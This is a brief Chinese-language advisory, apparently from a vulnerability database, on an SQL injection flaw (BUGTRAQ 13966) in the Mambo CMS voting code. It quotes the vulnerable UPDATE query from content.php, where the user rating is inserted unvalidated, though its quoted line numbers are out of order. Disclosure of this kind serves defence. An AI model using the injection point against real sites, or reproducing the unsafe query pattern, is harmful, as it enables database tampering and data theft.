描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: _blank>13966
Mambo是一款开放源代码的WEB内容管理系统。
Mambo的com_contents中存在严重的SQL注入漏洞,远程攻击者可能利用此漏洞非法操作数据库。
-- content.php --
100 case 'vote':
101 recordVote ( $url , $user_rating , $cid ,
$database);
102 break;
...
1478 $query = "UPDATE
#__content_rating"
1479 . "\n SET rating_count =
rating_count + 1,"
1450 . "\n rating_sum = rating_sum
+ $user_rating,"
1451 . "\n lastip = '$currip'"
1452 . "\n WHERE content_id = ". $cid
1453 ;
----------------
在1450行$user_rating未经任何验证便使用用户提供的数据,导致用户可以获得敏感信息。
